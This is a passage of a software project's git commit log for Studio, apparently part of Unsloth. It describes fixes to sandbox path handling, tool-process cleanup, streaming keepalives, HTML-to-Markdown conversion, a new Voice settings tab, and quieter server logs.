directory can legitimately succeed on the host, and that decision is documented
in a comment.

The model-visible retry hint now echoes the real failing path (parsed from the
traceback tail) instead of the canned /mnt/data example, and fires for any
absolute path outside the working directory, not just the enumerated prefixes,
while a relative miss still gets no hint.

The shim wrapper still adds one frame to tracebacks that surface open() errors;
suppressing only our frame has no clean standard mechanism (a wrapper always
adds a frame), so the frame is left as an accepted compromise.

Tests: hallucinated absolute write remaps to the CWD basename across w/a/x/w+;
reads of a missing absolute path pass through untouched; writes to an existing
external dir pass through; prefix subpaths still preserved; end-to-end write
fallback lands the file in the sandbox workdir identically with and without
streaming; the hint echoes the actual path for convention and non-convention
absolute paths alike.

* Studio: kill exited process groups on drain; bound the over-cap output batch

_drain_process_output killed the process only via _kill_process_tree, which
short-circuits once the parent has exited, so a grandchild that inherited
stdout and outlived the parent was never signaled: a finite-timeout run could
return while it kept holding the pipe, and a timeout=None cancel left it
behind. Capture the setsid process group before waiting and SIGKILL that group
at both give-up points so the whole tree is torn down.

The streaming wrapper's first over-cap batch joined the current chunk with the
entire pending backlog before enforcing the live-output cap, so a chatty tool
could allocate far past the cap on the crossing batch. Bound the drain to the
remaining budget and drop the surplus in place, keeping the truncated output
byte-identical to joining everything.

* Studio: harden sandbox path healing and process/generator cleanup

Sandbox sitecustomize shim:
- Make the generalized write fallback collision-safe: never redirect an
  invented absolute path onto an already-present CWD file (refuse and let the
  original open raise FileNotFoundError, preserving the workspace file).
- Only w/a/x create a file; r+/rb+ are read-update modes that require the
  target to exist, so a bare + no longer trips the write fallback.
- Gate every convention-prefix remap (/mnt/data, /mnt/outputs, /home/sandbox,
  /workspace) on the prefix root being absent, so a real host mount is never
  shadowed; a miss under an existing real prefix passes through.
- Patch os.open so Path.touch and other low-level creators heal convention
  paths too, matching the Path.mkdir patch.

Local code execution (tools.py):
- Capture the setsid process group right after Popen (before any watcher can
  poll/reap the leader) and thread it through the cancel watcher and drain.
- Kill the captured group in the non-streaming python/terminal timeout branch
  so an exited leader no longer leaks a stdout-holding grandchild (matches the
  streaming drain path).
- Guard os.getpgid/os.killpg by platform so streamed execution no longer
  raises on Windows; fall back to single-pid kill.
- Judge missing-path hints against the executor's real workdir so a legitimate
  miss inside a project workspace outside the sandbox root is not mislabeled.

Tool streaming routes (routes/inference.py):
- Drain a pending next(gen) worker before closing the generator in the
  safetensors and Anthropic tool streams, so a disconnect no longer races
  gen.close() (generator already executing) or leaks the thread/generator.

HTML to markdown:
- Only drop boilerplate lines composed entirely of known furniture phrases so
  real prose that merely quotes one (for example "we use cookies to
  authenticate requests") is preserved.

Adds hermetic tests for each change.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep aside callouts, contain sandbox path remaps, and keepalive dropped Anthropic tool events

_html_to_md: stop dropping <aside> unconditionally. Documentation pages
render notes/warnings/examples as aside admonition callouts; those inside
the selected article/main scope are real content. A furniture aside outside
the scope is already excluded by the main-content pass.

sitecustomize: contain the code-interpreter path remap under the sandbox
CWD. A hallucinated habit path such as /mnt/data/../other_session/file no
longer escapes the per-conversation workdir; parent-traversal components in
the suffix are dropped and a '.'/'..' write-fallback basename is refused.

routes/inference: emit a rate-limited comment keepalive when the Anthropic
Messages stream drops tool_output/tool_args events. A chatty tool keeps the
generator busy so the stall keepalive never fires and the tool wrapper emits
heartbeats only while idle, which left the SSE stream silent past proxy idle
caps; the OpenAI passthrough paths forward these events, this path now keeps
the connection alive.

* Studio: bound the tool-output chunk that first crosses the live cap

_drain_queue joined the entire chunk that first crossed the live-output
cap before dropping the rest, so a single multi-megabyte line (or any
chunk dequeued once the budget was already met at max_chars <= 0) was
materialized in full only to be truncated away, defeating the memory
ceiling the cap enforces. Slice the crossing chunk to one character past
the budget: that preserves the caller's overflow signal and its
byte-identical truncation while dropping the arbitrarily large remainder
in place.

* Studio: scope missing-path hint to the failing line, keepalive dropped-call output, and preserve truncated tool streams over byte length

- tools._missing_path_hint: the code-interpreter convention-prefix trigger
  scanned the whole output, so a convention prefix mentioned only in a
  traceback frame (a /workspace project root) or printed by the user's code
  would add a misleading 'use a relative path' hint even when the actual
  FileNotFoundError was a relative or in-workdir path. Scope the convention
  test to the failing-path error line(s), matching _extract_missing_abs_path.

- _anthropic_tool_stream: the tool_output/tool_args rate-limited keepalive sat
  after the drop_until_tool_end skip, so under disable_parallel_tool_use a
  chatty second-or-later tool call was dropped whole with no keepalive, letting
  an idle proxy kill the SSE stream. Check the keepalive branch before the drop
  skip (like the heartbeat branch) so dropped-call output keeps the stream alive.

- preferFullToolOutput / chat-adapter: a truncated result can be longer than
  the live stream by byte count once its footer, an 'Exit code N:' notice, or an
  __IMAGES__ base64 tail is appended, so the length-only gate discarded the full
  stream and the finished card fell back to the truncated text. Add a shared
  truncation-aware shouldPreserveFullOutput used by both the write and read
  sites: preserve the stream whenever the result carries the truncation footer.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: skip the habit-path hint for real project paths under a convention prefix

* Kill captured process group on streamed wait-timeout

The streamed drain path's proc.wait() timeout branch only called
_kill_process_tree(proc). If the leader exits in the narrow window between
the wait timing out and _kill_process_tree sampling its pgid, that helper
short-circuits on the reaped leader and a stdout-holding grandchild in the
same group survives. Also kill the captured pgid there, matching the
non-streaming communicate() timeout path. Adds a hermetic regression test
that models the reaped-leader race by stubbing _kill_process_tree.

* Fix 3.10 pathlib write_text remap and honor cancel in finite drain

On Python < 3.11 pathlib routes Path.open / read_text / write_text through
a module-level accessor singleton whose open attribute captured the original
io.open at import time (_NormalAccessor.open = io.open). Patching io.open in
the sandbox shim therefore never reached that captured reference, so a
Path('/mnt/data/x').write_text(...) raised FileNotFoundError on 3.10 while
passing on 3.11+ (which dropped the accessor and calls io.open at call time).
Repoint _NormalAccessor.open at the same io.open wrapper via a staticmethod,
guarded so it is an idempotent no-op on 3.11+. Keep the test save/restore
helpers symmetric so the accessor is restored too, and add a hermetic
write_text/read_text remap test that covers every version.

Also honor cancellation while draining inherited stdout after the leader
exits. Once the leader is reaped the cancel watcher returns (its loop is
while proc.poll() is None), so the finite-timeout drain did one blocking
reader.join(timeout=remaining) that ignored cancel_event and kept draining a
chatty grandchild for the whole budget after a disconnect/Stop. Poll
cancel_event in 0.5s slices against a deadline like the timeout=None branch
and kill the captured process group promptly on cancel. The normal path still
reaches EOF on its own, so the streamed vs non-streamed result is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: port no-tool stream keepalive/drain and fix subprocess/queue/extraction asymmetries

Streaming no-tool paths now match their tool twins:
- _anthropic_plain_stream, safetensors/MLX no-tool stream, and standard GGUF
  no-tool stream run next(gen) in a worker with a timed SSE keepalive loop so a
  long prompt prefill cannot leave the stream idle past a proxy cap.
- The Anthropic plain and safetensors/MLX no-tool teardowns now drain the
  pending next(gen) worker and close the generator on disconnect instead of
  leaking the suspended generator.

Other asymmetries:
- Non-streaming _python_exec/_bash_exec always drain via _drain_process_output
  (output_callback may be None) so a cancelled run reaps a stdout-holding
  grandchild that outlived the leader instead of blocking in communicate(). The
  joined bytes are identical to communicate(), so streamed vs non-streamed
  results stay byte-identical.
- _build_bypass_env installs the sitecustomize path shim on PYTHONPATH (prepend,
  keeping the operator's entries) so /mnt/data remap works in bypass mode too.
- GGUF forwards output_callback to execute_tool only when the callable accepts
  it (shared accepts_output_callback), matching safetensors and preserving
  legacy monkey-patched signatures.
- tool_stream_exec bounds accepted live output at the producer boundary so a
  chatty tool cannot grow the queue without limit under consumer backpressure
  and cannot keep the drain spinning and starve heartbeats.
- html_to_md implicit-close now searches past unclosed inline descendants so a
  hidden <p>/<li> is closed by a following block; main-content scoping gates on
  the largest single <article>/<main> so a swarm of tiny cards cannot pass the
  threshold in aggregate and displace the real main.
- preferFullToolOutput re-attaches the "Exit code N:" prefix to the fuller
  stream instead of appending the still-prefixed result, so a failed truncated
  tool no longer duplicates its stdout in the finished card.

Adds hermetic tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Preserve short live output on timed-out tools; strip inline-CSS-hidden subtrees and score truncated main-content scopes

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten chat tool streaming comments and docstrings

* Keep HTML READMEs from the GitHub API and preserve interrupted tool output

Convert a 200 HTML README body from the GitHub README API to Markdown
instead of discarding it and falling back to the repo page chrome, and
promote captured live stdout to full output when a tool never reaches
tool_end (stream interrupted or cancelled) so the partial diagnostics
stay on the finished card.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: anchor HTML sniff, keep repeated sandbox writes, reuse textual tool ids

Anchor _looks_like_html to the leading doctype/tag so a Markdown README that
opens with a fenced HTML example stays Markdown (no html_to_markdown
corruption), while bare HTML fragments (<body>/<article>/<section>) are still
detected and converted on a missing/wrong Content-Type.

Let the sandbox write fallback re-serve a target it already healed for the same
invented absolute path, so iterative overwrites of a generated artifact stop
failing with FileNotFoundError while the anti-clobber guard still refuses
unrelated same-basename files.

Reconcile the first textual tool call carrying an explicit id onto the open
provisional TEXT card instead of spawning a duplicate card under that id.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: run implicit-close before skipping tags and keep leading README tables as Markdown

A skipped block (<nav>/<footer>) is an HTML5 optional-end-tag closer of an
open <p>, but handle_starttag returned before the implicit-close bookkeeping,
so a never-closed <p hidden> kept its hidden mark and swallowed every following
sibling. Run _close_implicit before the skip decision so the hidden mark is
released and trailing content renders.

Drop <table> (and its <thead>/<tbody>/<tr>/<td>/<th> children) from the
_looks_like_html leading set: Markdown READMEs routinely open with a raw HTML
<table> badge/layout row, and sniffing that as HTML collapsed the whole
Markdown body through html_to_markdown, exactly like the already-excluded
<div align>/<p align> layout headers.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make bypass-permissions Popen double faithful to the unified drain path

The non-streaming _python_exec/_bash_exec now share _drain_process_output,
which reads proc.stdout in a reader thread and calls proc.wait(); the test
double only implemented communicate(), so bypass-mode bash returned an
AttributeError instead of the faked output. Give _FakeProc a readable stdout
pipe (yields the fake line then EOF), wait()/poll()/pid, so the test exercises
the real drain path on both the python and bash bypass branches.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: persist sandbox path heals across runs and suppress nested hidden lists

* Studio: run tool Python child unbuffered (-u) so unflushed prints stream live

A long-running snippet doing bare print() without flush=True never reached
the live-output pane: CPython block-buffers stdout when writing to a pipe, so
_drain_process_output's readline() saw nothing until the buffer filled or the
process exited. Launch the child with the interpreter -u flag so stdout is
unbuffered and each print streams as it is produced.

-u is applied unconditionally on both the streaming and non-streaming path, so
the child invocation stays byte-identical with and without streaming and the
final joined result is unchanged (buffering/timing only). Unlike the earlier
PYTHONUNBUFFERED=1 env injection that was removed, -u does not pollute the
child's os.environ and is not visible via os.getenv.

* Render only the selected main-content subtree in html_to_markdown

The main-content heuristic sized each <article>/<main> candidate
individually to pick the largest subtree, but then rendered every
matching tag in the document. A page with one real article plus
sibling related-post cards or comment threads passed the size gate on
the real article yet still emitted the unrelated siblings.

Size and render the same chosen subtree so only the selected
main-content subtree reaches the output.

* Studio: tighten chat-tool-streaming fix comments

* Studio: store tool-output-scope separators as unicode escapes

The pane-scope and tool-output-key separators were literal NUL (0x00) bytes, which made git treat the file as binary and hide its diff and blame. Write them as \u0000 escapes instead; the runtime key value is unchanged.

* Studio: bound tool-stream teardown when the client disconnects

stream_tool_execution ran its yield loop with no try/finally, so a gen.close() on client disconnect (GeneratorExit at a yield) skipped the worker join and never signalled cancellation. A tool that does not poll cancel_event mid-flight (web_search, MCP, search_knowledge_base) then kept request teardown blocked until the tool's own timeout. Thread the request cancel_event into the wrapper, set it only on the abnormal-exit path so a clean multi-tool turn is unaffected, and bound the worker join to a few seconds; the daemon worker cannot outlive the process.

* Studio: sandbox path remap no longer masks missing reads

The sandbox sitecustomize shim remapped code-interpreter prefixes (/mnt/data, /workspace, ...) onto the working directory for every open mode, including reads. A read of a path that truly did not exist was silently redirected onto a same-basename workdir file instead of raising on the path the model used, hiding real missing-input errors. Remap writes and creates as before, but remap a read only when the mapped workdir target already exists (re-reading a just-written artifact); otherwise keep the original absolute path so the failure stays truthful.

* Studio: bound web fetch with one overall deadline and cancellation

The web fetch applied timeouts per network operation, so a GitHub README API attempt plus its HTML fallback plus up to five redirect hops could run well past the tool timeout, and nothing aborted once the client had disconnected. Add a single wall-clock deadline shared across the API attempt, the fallback, every redirect hop and the body read, cap each hop's socket timeout at the time left on the budget, and poll cancel_event. SSRF host pinning, per-hop redirect revalidation, the five-hop cap and the size cap are unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep tool-stream teardown off the event loop on disconnect

The bounded worker join added for disconnect safety still ran on an abnormal close, so a client disconnect could wait the full join timeout; and the safetensors and Anthropic tool streams closed their generator synchronously on the event loop, unlike the GGUF path. On abnormal exit the daemon worker is abandoned, so join with a zero timeout instead of waiting; offload the safetensors and Anthropic gen.close to a thread to match GGUF; and surface a heartbeat as soon as cancel_event is set while the worker is silent so the route regains control at once instead of after a heartbeat interval.

* Studio: extend the web-fetch deadline to DNS, the body read, and search

The overall fetch deadline did not cover host resolution or the response body read, and query-mode web_search ignored cancellation. Resolve hosts (initial and every redirect) on a budget-polled helper so a slow or pre-cancelled getaddrinfo aborts on time; read the capped body in chunks with the budget re-checked between them so a slow-drip server cannot stretch a single read past the deadline; and gate the blocking DDGS query on cancel_event on both sides. SSRF host pinning, per-hop redirect revalidation, the five-hop cap and the size cap are unchanged.

* Studio: defer the sandbox remap notice and tighten os.open create flags

The one-shot remap notice fired while computing the mapping, so a read that kept its original path emitted a false notice and spent the notice a later genuine remap needed. Only emit it once _remap_open commits to the redirect. Separately, os.open classified O_TRUNC / O_APPEND without O_CREAT as creating, but those cannot create a missing file, so a missing target now stays truthful (only O_CREAT maps to the creating mode).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: convert only genuine HTML README bodies, not Markdown with a leading block tag

The GitHub README API returns the raw file, almost always Markdown. _looks_like_html classified a Markdown README opening with a block tag (<ul>, <ol>, <dl>, <pre>, <blockquote>) as HTML, so _fetch_page_text ran it through html_to_markdown and collapsed its headings, lists and fenced code into a single line. Sniff the README body with a stricter document-level check (doctype or a leading <html>/<head>/<body>) so only a real .html README is converted; the general page path is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Surface unclassified mid-stream Anthropic errors as SSE error events

The local Anthropic tool-stream and plain-stream paths called
_anthropic_stream_error_event(e) with force defaulting to False, so an
unclassified mid-stream failure (llama-server crash, decode OOM, a
dropped upstream socket) returned no event. The except block then fell
through to emitter.finish(), emitting a normal message_delta and
message_stop that masked a truncated turn as a clean finish.

Pass force = True at both fall-through sites so an unclassified failure
emits a 500 SSE error event and returns, matching the Anthropic
passthrough path that already forces it. Add regression tests covering
both stream paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: give each tool run a unique part id so finished cards keep their own output

Backend tool ids restart at call_0 every assistant response, and the
transient toolLiveOutput/toolFullOutput store maps were keyed by pane
scope plus that bare backend id. Two turns in the same pane therefore
shared one key: the stale-clear at tool_start only guards the forward
direction, so when a later call_0 finished and wrote its preserved full
output, every earlier still-mounted finished card reading the same key
re-rendered and displayed the newer tool's output instead of its own.

Mint one per-run-unique part id per backend id (call_0:<uuid>) and route
tool_start/output/args/end through a single resolver so all events for a
call resolve the same id. The durable part carries the unique id, so the
finished-card readers derive a collision-free key with no change, and the
awaiting-confirmation path keeps its own synthesized id. Outbound replay
stays paired (the assistant tool_call id and the role=tool result
tool_call_id both come from the part id) and gains unique ids across
turns, which strict providers require.

* Studio: tighten PR comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
2026-07-15 08:41:00 -07:00
Michael Han
9de84888cb
Studio: add Voice settings tab (dictation, dictionary, read aloud) (#7074)
* Studio: add Voice settings tab (dictation, dictionary, read aloud)

New Voice tab in Settings, placed just before About:

- Dictation: microphone picker, browser STT engine, recognition language,
  and an inline mic test with a live transcript
- Dictation dictionary: entries rewrite matching speech to their exact
  spelling and casing, applied in both dictation paths
- Recent dictations: last 20 final transcripts with copy and clear, so
  text can be recovered if it lands in the wrong place
- Read aloud: optional button on assistant responses with two engines,
  curated system voices (novelty and legacy voices filtered, quality
  ranked, capped at 20) or the TTS audio model loaded in Unsloth via
  /audio/generate (e.g. Orpheus), plus speed, pitch, volume and preview

Settings persist in localStorage (unsloth_voice_settings) and are read
at call time so changes apply without reloading the runtime. Adds en
keys plus the tab label for ja, zh-CN and pt-BR.

* Studio: drop the single option STT engine select, rename TTS option

The STT engine dropdown only had one entry, so it added noise without
giving a real choice. The engine row can come back once local STT
models land. Also renames the TTS engine option Unsloth TTS model to
Load TTS model to make the action clearer.

* Studio: harden Voice settings against edge cases found in simulation

Simulated the feature across Chromium, Firefox and WebKit plus node
level unit runs and backend contract checks. Fixes from the findings:

- Dictionary rewrite used a replacement string, so entries containing
  dollar patterns corrupted transcripts (A$$AP became A$AP, $& injected
  the match). Switched to the callback form of String.replace
- Persisted voice settings now validate types on hydration: non string
  micDeviceId, dictationLanguage and ttsVoiceURI, and non boolean
  ttsEnabled fall back to defaults instead of flowing into the UI
- Dictionary entries are trimmed, capped at 120 chars and re-sanitized
  on hydration
- The Test dictation panel now falls back to the default microphone
  when the saved device is unplugged, matching the composer adapter

Test coverage: 46 unit assertions (dictionary regex edge cases across
unicode, word boundaries and injection, voice curation for simulated
macOS, Windows and Linux voice inventories, corrupt storage merge),
13 backend contract checks against /audio/generate on an isolated
instance, and 60 browser assertions across the three engines covering
rendering, degradation without SpeechRecognition, curation in a real
DOM, dictionary persistence with unicode and dollar entries, the
no-model preview error path and corrupt localStorage recovery.

* Studio: address Voice settings review feedback

Verified each review comment before acting. Confirmed and fixed:

- Editing a dictionary entry was broken in two ways: the store trimmed
  on every keystroke so spaces could not be typed, and clearing the
  field deleted the entry and unmounted the input mid edit. Updates now
  keep the raw value and a blur commit trims or removes the entry
- The unplugged mic fallback checked instanceof DOMException, but a
  cross browser probe showed Firefox and WebKit throw
  OverconstrainedError objects that are not DOMExceptions, so the
  fallback never fired there. Matching on the error name now
- When the browser ended a dictation test on its own (silence timeout),
  the mic stream stayed open. All recognition end paths now stop the
  tracks and save the transcript through a single finalize path
- The studio TTS audio element now releases its WAV data URL as soon as
  playback ends, fails or is cancelled
- Allow microphone now reports insecure contexts (no mediaDevices)
  accurately instead of claiming access was blocked
- Voice tab copy moved into i18n keys per src/i18n/AGENTS.md, so locale
  overlays can translate it; en is the baseline and parity passes
- unsloth_voice_settings added to the Reset all local preferences key
  list so voice preferences obey the reset
- Non default microphones note that the system default is used when the
  browser speech engine cannot bind a specific device, since browsers
  without the start(track) overload ignore the argument silently

Re-ran the full simulation set after the changes: 46 unit assertions,
13 backend contract checks and 60 browser assertions across Chromium,
Firefox and WebKit all pass, plus a dedicated browser probe for the
dictionary editing behavior.

* Studio: use the chat mic icon in Voice settings for consistency

The Voice tab and its buttons used the hugeicons Mic02 glyph while the
chat composer uses a custom filled mic. Extract that composer icon into
a shared lib/mic-icon component, drop the duplicate inline copies in
thread.tsx and shared-composer.tsx, and use it for the Voice tab icon
and the tab's mic buttons so the microphone looks the same everywhere.

* Studio: address second round of Voice settings review feedback

Verified each new comment against the current code first. One item was
already fixed in the previous round (recording transcripts when the
browser ends a dictation test on its own). Confirmed and fixed:

- The microphone row showed a picker with generic names when browsers
  enumerate unlabeled devices before permission, leaving no way to
  grant access from the row. It now branches on whether labels are
  visible and shows Allow microphone otherwise
- Compare chat dictation ignored the selected microphone. It now opens
  the chosen device with the same fallback rules as the main adapter,
  passes the track to recognition where supported and releases the
  stream when recognition ends
- Closing the Voice tab cancelled the shared speechSynthesis even when
  read aloud was playing a chat message. Cleanup now only cancels when
  the tab owns an active preview
- Double clicking Start test could race two recognizers and leak the
  first stream. A starting flag set before the getUserMedia await makes
  start reentrancy safe
- Turning off the read aloud setting mid playback removed the only stop
  control. The stop button now renders whenever a message is speaking
- When an engine lacks the start(track) overload, both dictation paths
  now release the selected device stream before retrying with the
  default microphone instead of holding it open
- Read aloud support no longer requires Web Speech synthesis: the
  Unsloth TTS engine only needs audio playback, so it stays available
  in WebViews without speechSynthesis, with a clear error if the system
  engine is chosen there

Not addressed here: cancelling in flight backend TTS generation on
stop. The route runs generation in a worker thread without a
cancellation path, which is shared pre existing behavior with audio
chat generation and belongs in a backend change.

All suites re-run green: 46 unit, 13 backend contract and 60 browser
matrix assertions across Chromium, Firefox and WebKit, plus probes for
the unlabeled device branch and the double click race.

* Studio: drop empty and duplicate voiceURIs so the Voice tab never renders a crashing Select item

* Studio: guard dictation mic lifecycle in Voice test and Compare composer

Release a microphone opened after the component unmounts, and stop Compare
dictation on a permission or security failure instead of silently recording
from the default device, matching the main chat adapter.

* Studio: fix dictation and read-aloud lifecycle edge cases in Voice settings

- Join final dictation chunks with a space so recorded transcripts do not merge words
- Ignore a stale recognizer onend so a quick stop then restart is not torn down
- Use previewingRef so a double click on TTS preview does not orphan the first request
- Keep the read-aloud stop control visible when a new run starts while a message is spoken
- Stop the dictionary remove button from deleting an adjacent entry on a blur then click race

* Studio: trim redundant Voice settings comments

* Studio: fix Voice preview and Compare dictation edge cases

- Only cancel the shared speechSynthesis for a system-voice preview, so stopping
  a Studio preview no longer stops an unrelated chat read-aloud
- Release the Studio preview audio and its WAV data URL on normal completion
- Iterate every finalized result in Compare dictation so batched phrases are kept
- Cap persisted recent dictations to the last 20 on hydration

* Studio: use clipboard fallback for recents and release failed preview audio

- Copy recent dictations via the copyToClipboard helper so the execCommand
  fallback works in Safari and insecure http LAN contexts
- Release the Studio preview audio when play() rejects, not just on ended/error

* Studio: surface dictation and read-aloud failures instead of failing silently

- Compare dictation reports microphone and speech-recognition errors via toast,
  reusing the main chat adapter's describeMediaError and describeSpeechError
- Read-aloud toasts genuine model or synthesis failures while ignoring cancellations

* Harden cross-browser microphone errors

* Surface voice test recognition errors and fall back to Studio TTS

- Voice test now toasts non-abort speech-recognition failures instead of
  ending silently, matching the main and Compare dictation paths.
- Read-aloud routes to the backend model when the runtime lacks Web Speech
  synthesis (audio-only WebView), so it no longer errors immediately.

* Fix read-aloud fallback controls

* Guard read-aloud stop when deleting a non-speaking message

aui.message().stopSpeaking() throws unless this message is the one being
read aloud, so calling it unconditionally rejected the delete handler before
the message was removed. Only stop speech when this message is speaking.

* Cap recent dictation transcript length before persisting

Recent dictations only limited entry count, so a long transcript stored the
full text in the persisted voice settings and a few could exceed the
localStorage quota, throwing synchronously from the uncaught dictation cleanup
path. Truncate each entry on save and on hydration, matching the dictionary cap.

* Harden read-aloud stop on delete and surface preview playback errors

- Deleting a message now stops read-aloud when the spoken message is among
  those removed (including a user prompt's cascaded assistant replies), read at
  click time and guarded so a playback end between render and click cannot
  abort the delete.
- Voice preview now reports playback failures instead of silently resetting
  the button, matching the read-aloud path.

* Remove stray review notes; notify TTS subscribers; drop regex lookbehind

- Remove plans/review_*.md scratch files accidentally committed earlier.
- Studio read-aloud now notifies speech subscribers on the async
  starting -> running transition so status does not stay stuck at starting.
- Dictionary correction captures the leading boundary instead of a lookbehind
  so it works on engines with dictation but no lookbehind (Safari < 16.4).

* Fix keyboard deletion of an emptied dictionary entry

Tabbing to a just-emptied row's Remove button blurred the input and
commit-spliced the empty row, so with index-keyed rows the button's keyboard
activation deleted the next entry. Skip the commit when focus moves to that
row's Remove button; the existing mouse guard is kept.

* Reapply Studio TTS playback rate on loadedmetadata

Some browsers reset an Audio element's playbackRate to 1 once the source
loads, so the selected speed could be dropped for read-aloud and voice
preview. Reapply it on loadedmetadata in both paths.

---------

Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-15 07:55:39 -07:00
Michael Han
300b5f9b41
Fix Studio toast close-button positioning (#7142)
* Fix Studio toast close-button positioning

* Use UTF-8 for locale regression test

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden toast close-button positioning

* Limit language menu height

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-15 07:43:40 -07:00
Michael Han
d76953f8de
Show concise NVFP4 inference errors (#7145)
* Show concise NVFP4 inference load error

* Cover direct NVFP4 load errors

* Handle NVFP4 validation errors
2026-07-15 07:17:40 -07:00
Daniel Han
a6aa4fff10
Studio: quiet noisy logs, log real progress, and speed up Windows/macOS dataset prep (#7087)
* Studio: exclude /api/export/status from request access logs

The frontend polls /api/export/status every 5s to detect export start, so it
fires continuously even when idle. Each poll emitted an info request_completed
access line, making up most of the server access logs. Add it to _EXCLUDED_PATHS
alongside /api/train/status. The endpoint is unchanged; export state is still
logged by the export modules and streamed over SSE, so no signal is lost.

* Studio: collapse hub download-progress polls in the access log

download-status and gguf-download-progress (plus the dataset equivalents)
are polled about twice a second for the whole download, so each emitted an
info request_completed line. Add them to _QUIET_POLL_PATHS so they collapse
to one heartbeat line per 10s instead of one per poll.

* Studio: log hub download progress at 10% steps

The access log carried no real progress, only poll pings. Emit one
hub_download_progress line per 10% step from the shared snapshot progress
reader, so an active download shows actual percentage without a line per
poll. Throttled per job and resynced if the same download restarts.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: drop successful chat thread/project CRUD from the access log

A single chat turn fans out about twenty requests under /api/chat/threads
and /api/chat/projects (list, fetch, per-message forks, and the message
writes) that only reflect the UI re-rendering. Suppress their 2xx access
line so the log keeps the signal (generation, tool calls, code execution,
engine stats) and errors. Non-2xx on these paths still log.

* Studio: silence transformers torch_dtype deprecation warning

transformers logs "`torch_dtype` is deprecated! Use `dtype` instead!" once at
model-config load via logger.warning_once (logging, not warnings), so a warnings
filter cannot catch it. Attach a small logging.Filter in setup_logging, which
runs before any model config is parsed, to drop that record on the transformers
loggers that emit it.

* Studio: quiet inference load-progress polls and log throttled load progress

The frontend polls /api/inference/load-progress about twice a second for the
whole model load, so each emitted a request_completed line. Add it to
_QUIET_POLL_PATHS (heartbeat) and emit one inference_load_progress line per 10%
step from the load-progress route, so a load shows real percentage instead of a
line per poll.

* Studio: fully suppress download/load progress poll access lines

The download-status, download-progress, gguf-download-progress, active-downloads
and transport-status polls (model and dataset), plus inference load-progress,
fire ~2x/s for the whole download or load. Their progress is now reported by the
hub_download_progress / inference_load_progress events (and the viewer's progress
line), so the per-poll access line adds nothing. Drop it on 2xx and keep it on
errors, instead of the prior 10s heartbeat. Chat CRUD suppression is folded into
the same _is_quiet_success helper.

* Studio: suppress training-tab model/dataset download-progress polls

The training tab polls /api/models/download-progress and
/api/datasets/download-progress about twice a second for the whole prep phase.
These are separate routes from the /api/hub equivalents and only scan the cache,
so their 2xx access line adds nothing (on Windows they always read 0 since the
bytes live in snapshots/, not blobs/). Suppress the 2xx line and keep errors,
alongside /api/models/gguf-download-progress.

* Studio: drop transient pre-auth 401 on chat thread/project polls

On first load the SPA fires chat thread/project GETs before the initial token
refresh, so they 401 until /api/auth/refresh runs and the retries succeed. That
pre-auth 401 is a bootstrap artifact, not an error; suppress it alongside the
already-quiet 2xx line. Genuine 4xx/5xx on these paths, the download/load poll
401s, and all /api/auth/* still log.

* Studio: quiet tab-switch list polls and per-poll scan/reconnect logs

Switching between the Train, Export, and Chat tabs refetches list endpoints on a
timer, and each hit re-logs internal detail. Heartbeat /api/train/runs,
/api/models/checkpoints, /api/models/local and /api/rag/knowledge-bases (10s
window, first hit and errors still log), and downgrade two per-poll INFO lines to
debug: the checkpoints scan summary ("Found N training runs") and the
per-reconnect SSE resume line. The meaningful "replayed N missed steps" line,
logged only when steps were actually replayed, stays at info.

* Studio: enable tokenizer parallelism for dataset prep on Windows/macOS

TOKENIZERS_PARALLELISM was forced off everywhere to stop datasets' forked map()
workers from deadlocking, but that fork only happens on Linux. On spawn platforms
(Windows/macOS) dataset.map() runs in-process (dataset_map_num_proc returns None),
so disabling tokenizer parallelism leaves the fast tokenizer single-threaded and
dataset prep runs serially on one core. Keep it off on Linux (fork safety) and on
for spawn platforms, where there is no fork to deadlock. Measured ~7x faster
tokenization (12.5s -> 1.7s for 20k rows on a 32-core Windows box).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: log throttled training status to the server log

Training step/loss/epoch only went to the UI via SSE, so the server log showed
inference engine_stats and train/runs heartbeats but nothing about the actual
run. Emit one throttled training_progress line (step/total, percent, loss, epoch,
eta) from the CUDA event pump: the first step, then at most every 30s, plus the
final step, resyncing when a new run restarts the counter. Per-step UI streaming
is unchanged.

* Studio: quiet llama.cpp update-status polls and log throttled update progress

The prebuilt llama.cpp update polls /api/llama/update-status about twice a second
for the whole download and install. Suppress its 2xx access line (errors still
log) and emit one throttled llama_update_progress line per 10% step from the
status route, so the update shows progress without a line per poll. The existing
"llama update: installing" and "llama update: success" events still bracket it.

* Studio: quiet the export log-tail poll

The Export tab polls /api/export/logs about once a second to stream the export
subprocess output into the UI panel. Suppress its 2xx access line; the real
progress is already logged as event-driven "Export subprocess status: <phase>"
lines plus the subprocess start and checkpoint-loaded events, and errors still log.

* studio: keep errors and mutations visible in access-log suppression

Make the quiet-success access-log suppression GET-only so chat thread/project
